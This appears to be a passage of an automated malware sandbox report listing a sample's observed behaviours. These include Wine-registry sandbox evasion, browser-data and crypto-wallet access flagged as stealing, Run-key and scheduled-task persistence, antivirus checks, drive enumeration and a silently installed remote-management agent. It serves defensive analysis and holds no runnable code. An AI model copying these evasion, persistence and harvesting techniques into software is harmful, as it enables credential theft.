N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\RmmService.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
N/A N/A C:\ProgramData\uyrlkcqvoccj\gtgpwwjkduow.exe N/A

Identifies Wine through registry keys

evasion
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-3774859476-2260090144-3466365324-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3774859476-2260090144-3466365324-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3774859476-2260090144-3466365324-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\a840bdaefb80641123d7ca786ebace65769da70f45e18bd3f0c7ef7b2ffcabdd.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3774859476-2260090144-3466365324-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3774859476-2260090144-3466365324-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Windows\syswow64\MsiExec.exe N/A
N/A N/A C:\Windows\syswow64\MsiExec.exe N/A
N/A N/A C:\Windows\syswow64\MsiExec.exe N/A
N/A N/A C:\Windows\syswow64\MsiExec.exe N/A
N/A N/A C:\Windows\syswow64\MsiExec.exe N/A
N/A N/A C:\Windows\syswow64\MsiExec.exe N/A
N/A N/A C:\Windows\syswow64\MsiExec.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Windows\syswow64\MsiExec.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\RmmService.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\RmmService.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\RmmService.exe N/A

Reads user/profile data of web browsers

spyware stealer

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Endpoint Manager = "C:\\Program Files (x86)\\COMODO\\Endpoint Manager\\ITSMAgent.exe" C:\Windows\system32\msiexec.exe N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\msiexec.exe N/A
N/A N/A C:\Windows\System32\msiexec.exe N/A

Checks for any installed AV software in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\COMODO\CIS\Esm\ C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Delete value \REGISTRY\MACHINE\SOFTWARE\COMODO\CIS\Esm\RemovalSecurity C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\COMODO\CIS\Esm\RemovalSecurity C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\COMODO\CIS\Esm C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\COMODO\CIS\Esm C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\COMODO\CIS C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key queried \REGISTRY\MACHINE\SOFTWARE\COMODO\CIS C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key queried \REGISTRY\MACHINE\SOFTWARE\COMODO\CIS\Esm C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A

Checks installed software on the system

discovery

Enumerates connected drives

Description Indicator Process Target
File opened (read-only) \??\W: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\E: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\I: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\G: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\H: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\I: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\L: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\T: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\W: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\U: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\J: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\O: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\P: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\H: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\J: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\A: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\Z: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\B: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\K: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\S: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\Y: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\Q: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\Z: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\R: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\E: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\R: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\U: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\L: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\N: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\B: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\G: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\M: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\O: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\S: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\X: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\M: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\N: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\V: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\A: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\K: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\Y: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\Q: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\X: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\P: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\T: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\V: C:\Windows\system32\msiexec.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E455012CBF4BA8A2AC67618C00590908 C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E455012CBF4BA8A2AC67618C00590908 C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\bsddb\dbtables.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\distutils\util.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\HTMLParser.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\multiprocessing\dummy\connection.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\site-packages\gyp-0.1-py2.7.egg\gyp\MSVSSettings_test.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\site-packages\setuptools\command\bdist_rpm.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\encodings\utf_16.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\importlib\__init__.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\site-packages\setuptools-18.2.dist-info\METADATA C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\msgs\mr_in.msg C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\America\Catamarca C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\America\Hermosillo C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\Navajo C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\multiprocessing\synchronize.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\site-packages\easy-install.pth C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\Asia\Saigon C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\Europe\Amsterdam C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\hmac.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\idlelib\StackViewer.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\ihooks.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\site-packages\pip\_vendor\html5lib\treeadapters\sax.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\sre_compile.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\Europe\Kaliningrad C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\idlelib\WidgetRedirector.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\lib2to3\pgen2\grammar.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\America\Argentina\Jujuy C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tokenize.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\csv.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\lib2to3\fixes\fix_tuple_params.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\site-packages\setuptools\command\install_egg_info.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\msgs\nb.msg C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tk8.5\ttk\treeview.tcl C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\encodings\cp865.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\Europe\Rome C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\Portugal C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tk8.5\demos\button.tcl C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tix8.4.3\pref\14Point.fsc C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\urllib.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\Etc\GMT-4 C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\distutils\command\build_py.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\encodings\cp1252.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\encodings\idna.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\lib2to3\fixes\fix_import.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\encoding\iso8859-5.enc C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\msgs\ms.msg C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\Australia\Yancowinna C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tix8.4.3\bitmaps\minusarm.xbm C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tk8.5\demos\paned1.tcl C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tk8.5\msgs\sv.msg C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\Antarctica\McMurdo C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\bsddb\dbrecio.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\encodings\rot_13.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\idlelib\Icons\python.gif C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\site-packages\pip\exceptions.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\site-packages\pip\_vendor\requests\exceptions.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\site-packages\pip\_vendor\requests\packages\chardet\compat.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\America\Belem C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\GMT C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\Indian\Mahe C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tix8.4.3\bitmaps\info.xpm C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tix8.4.3\pref\WmDefault.tcl C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tk8.5\msgs\ru.msg C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\Europe C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\encodings\mac_latin2.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\Installer\e59263b.msi C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\MSI30C0.tmp C:\Windows\system32\msiexec.exe N/A
File created C:\Windows\Installer\{373FFE70-5FF7-492D-A2F4-0C6A15D8D503}\icon.ico C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\{373FFE70-5FF7-492D-A2F4-0C6A15D8D503}\icon.ico C:\Windows\system32\msiexec.exe N/A
File created C:\Windows\Installer\e59263b.msi C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\ C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\MSI2B9D.tmp C:\Windows\system32\msiexec.exe N/A
File created C:\Windows\Installer\wix{373FFE70-5FF7-492D-A2F4-0C6A15D8D503}.SchedServiceConfig.rmi C:\Windows\syswow64\MsiExec.exe N/A
File created C:\Windows\Installer\e59263d.msi C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\MSI5562.tmp C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\MSI288D.tmp C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\MSI28DC.tmp C:\Windows\system32\msiexec.exe N/A
File created C:\Windows\Installer\SourceHash{373FFE70-5FF7-492D-A2F4-0C6A15D8D503} C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\MSI2BDD.tmp C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\MSI3228.tmp C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\MSI418B.tmp C:\Windows\system32\msiexec.exe N/A
File created C:\Windows\Tasks\axplong.job C:\Users\Admin\AppData\Local\Temp\a840bdaefb80641123d7ca786ebace65769da70f45e18bd3f0c7ef7b2ffcabdd.exe N/A
File created C:\Windows\Tasks\Test Task17.job C:\Users\Admin\AppData\Local\Temp\RarSFX1\thkdh.exe N/A
File created C:\Windows\Installer\inprogressinstallinfo.ipi C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\MSI2B5E.tmp C:\Windows\system32\msiexec.exe N/A

Launches sc.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\sc.exe N/A
N/A N/A C:\Windows\system32\sc.exe N/A
N/A N/A C:\Windows\system32\sc.exe N/A
N/A N/A C:\Windows\system32\sc.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\COMODO\Endpoint Manager\RmmService.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\RarSFX1\thkdh.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\ProgramData\wvvauqk\rqqsv.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\dropperrr.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\syswow64\MsiExec.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\COMODO\Endpoint Manager\RmmService.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\COMODO\Endpoint Manager\RmmService.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\COMODO\Endpoint Manager\RmmService.exe N/A
